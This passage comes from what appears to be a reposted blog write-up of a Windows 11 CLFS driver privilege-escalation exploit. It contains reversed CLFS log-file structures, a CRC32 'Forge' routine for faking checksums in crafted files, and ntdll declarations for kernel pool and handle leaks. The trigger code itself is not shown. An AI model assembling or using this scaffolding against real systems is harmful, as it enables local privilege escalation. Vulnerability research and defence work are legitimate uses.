} CLFS_EXTEND_STATE, *PCLFS_EXTEND_STATE;
typedef enum _CLFS_TRUNCATE_STATE
{
ClfsTruncateStateNone = 0x0,
ClfsTruncateStateModifyingStream = 0x1,
ClfsTruncateStateSavingOwner = 0x2,
ClfsTruncateStateModifyingOwner = 0x3,
ClfsTruncateStateSavingDiscardBlock = 0x4,
ClfsTruncateStateModifyingDiscardBlock = 0x5,
} CLFS_TRUNCATE_STATE, *PCLFS_TRUNCATE_STATE;
typedef struct _CLFS_TRUNCATE_CONTEXT
{
CLFS_TRUNCATE_STATE eTruncateState;
CLFS_CLIENT_ID cClients;
CLFS_CLIENT_ID iClient;
CLFS_LSN lsnOwnerPage;
CLFS_LSN lsnLastOwnerPage;
ULONG cInvalidSector;
} CLFS_TRUNCATE_CONTEXT, *PCLFS_TRUNCATE_CONTEXT;
typedef enum _CLFS_METADATA_BLOCK_TYPE
{
ClfsMetaBlockControl = 0x0,
ClfsMetaBlockControlShadow = 0x1,
ClfsMetaBlockGeneral = 0x2,
ClfsMetaBlockGeneralShadow = 0x3,
ClfsMetaBlockScratch = 0x4,
ClfsMetaBlockScratchShadow = 0x5,
} CLFS_METADATA_BLOCK_TYPE, *PCLFS_METADATA_BLOCK_TYPE;
typedef struct _CLFS_METADATA_BLOCK
{
union {
PUCHAR pbImage;
ULONGLONG ullAlignment;
};
ULONG cbImage;
ULONG cbOffset;
CLFS_METADATA_BLOCK_TYPE eBlockType;
} CLFS_METADATA_BLOCK, *PCLFS_METADATA_BLOCK;
typedef struct _CLFS_CONTROL_RECORD
{
CLFS_METADATA_RECORD_HEADER hdrControlRecord;
ULONGLONG ullMagicValue;
UCHAR Version;
CLFS_EXTEND_STATE eExtendState;
USHORT iExtendBlock;
USHORT iFlushBlock;
ULONG cNewBlockSectors;
ULONG cExtendStartSectors;
ULONG cExtendSectors;
CLFS_TRUNCATE_CONTEXT cxTruncate;
USHORT cBlocks;
ULONG cReserved;
CLFS_METADATA_BLOCK rgBlocks[1];
} CLFS_CONTROL_RECORD, *PCLFS_CONTROL_RECORD;
typedef struct _CLFSHASHSYM
{
CLFS_NODE_ID cidNode;
ULONG ulHash;
ULONG cbHash;
ULONGLONG ulBelow;
ULONGLONG ulAbove;
LONG cbSymName;
LONG cbOffset;
BOOLEAN fDeleted;
} CLFSHASHSYM, *PCLFSHASHSYM;
typedef struct _CLFS_CLIENT_CONTEXT
{
CLFS_NODE_ID cidNode;
CLFS_CLIENT_ID cidClient;
USHORT fAttributes;
ULONG cbFlushThreshold;
ULONG cShadowSectors;
ULONGLONG cbUndoCommitment;
LARGE_INTEGER llCreateTime;
LARGE_INTEGER llAccessTime;
LARGE_INTEGER llWriteTime;
CLFS_LSN lsnOwnerPage;
CLFS_LSN lsnArchiveTail;
CLFS_LSN lsnBase;
CLFS_LSN lsnLast;
CLFS_LSN lsnRestart;
CLFS_LSN lsnPhysicalBase;
CLFS_LSN lsnUnused1;
CLFS_LSN lsnUnused2;
CLFS_LOG_STATE eState;
union {
HANDLE hSecurityContext;
ULONGLONG ullAlignment;
};
} CLFS_CLIENT_CONTEXT, *PCLFS_CLIENT_CONTEXT;
typedef struct _CLFS_LOG_BLOCK_HEADER
{
UCHAR MajorVersion;
UCHAR MinorVersion;
UCHAR Usn;
CLFS_CLIENT_ID ClientId;
USHORT TotalSectorCount;
USHORT ValidSectorCount;
ULONG Padding;
ULONG Checksum;
ULONG Flags;
CLFS_LSN CurrentLsn;
CLFS_LSN NextLsn;
ULONG RecordOffsets[16];
ULONG SignaturesOffset;
} CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;
typedef ULONG CLFS_USN;
typedef struct _CLFS_CONTAINER_CONTEXT
{
CLFS_NODE_ID cidNode;
ULONGLONG cbContainer;
CLFS_CONTAINER_ID cidContainer;
CLFS_CONTAINER_ID cidQueue;
union {
PVOID pContainer;
ULONGLONG ullAlignment;
};
CLFS_USN usnCurrent;
CLFS_CONTAINER_STATE eState;
ULONG cbPrevOffset;
ULONG cbNextOffset;
} CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT;
// crc32.h
#pragma once
class Crc32
{
public:
Crc32(unsigned int poly)
{
for (int i = 0; i < 256; ++i)
{
unsigned int fwd = i, rev = i << 24;
for (int j = 8; j > 0; --j)
{
if (fwd & 1) fwd = (fwd >> 1) ^ poly;
else fwd >>= 1;
forward[i] = fwd & 0xffffffff;
if ((rev & 0x80000000) == 0x80000000) rev = ((rev ^ poly) << 1) | 1;
else rev <<= 1;
rev &= 0xffffffff;
reverse[i] = rev;
}
}
}
unsigned int Compute(const unsigned char *buf, int len)
{
unsigned int crc = 0xffffffff;
for (int i = 0; i < len; ++i)
crc = (crc >> 8) ^ forward[(crc ^ buf[i]) & 0xff];
return crc ^ 0xffffffff;
}
void Forge(unsigned int target, unsigned char *buf, int len, int pos)
{
unsigned int fwd_crc = 0xffffffff;
for (int i = 0; i < pos; ++i)
fwd_crc = (fwd_crc >> 8) ^ forward[(fwd_crc ^ buf[i]) & 0xff];
*(unsigned int *)&buf[pos] = fwd_crc;
unsigned int bkd_crc = target ^ 0xffffffff;
for (int i = len - 1; i >= pos; --i)
bkd_crc = ((bkd_crc << 8) & 0xffffffff) ^ reverse[bkd_crc >> 24] ^ buf[i];
*(unsigned int *)&buf[pos] = bkd_crc;
}
private:
unsigned int forward[256];
unsigned int reverse[256];
};
// ntdll.h
#pragma once
#include <Windows.h>
#include <ntstatus.h>
#define DECLARE_NTDLL_FUNC(name, params)
typedef NTSTATUS(NTAPI *__type_##name) params;
__type_##name name;
#define BEGIN_NTDLL_IMPORT()
do
{
HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
if (hNtDll == NULL)
break;
#define NTDLL_IMPORT(name) name = (__type_##name)GetProcAddress(hNtDll, #name);
#define END_NTDLL_IMPORT()
}
while (0)
;
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemModuleInformation = 0xb,
SystemHandleInformation = 0x10,
SystemExtendedHandleInformation = 0x40,
SystemBigPoolInformation = 0x42,
} SYSTEM_INFORMATION_CLASS;
typedef struct _IO_STATUS_BLOCK
{
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef VOID(NTAPI *PIO_APC_ROUTINE)(_In_ PVOID ApcContext, _In_ PIO_STATUS_BLOCK IoStatusBlock, _In_ ULONG Reserved);
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
void *Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef struct _SYSTEM_HANDLE_EX
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE_EX, *PSYSTEM_HANDLE_EX;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef struct _SYSTEM_BIGPOOL_ENTRY
{
union {
PVOID VirtualAddress;
ULONG_PTR NonPaged : 1;
};
ULONG_PTR SizeInBytes;
union {
UCHAR Tag[4];
ULONG TagULong;
};
} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY;
typedef struct _SYSTEM_BIGPOOL_INFORMATION
{
ULONG Count;
SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ANYSIZE_ARRAY];
} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION;
原文始发于微信公众号(Ots安全):通用日志文件系统 (CLFS) 驱动程序中的漏洞允许本地用户在 Windows 11 上获得提升权限
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论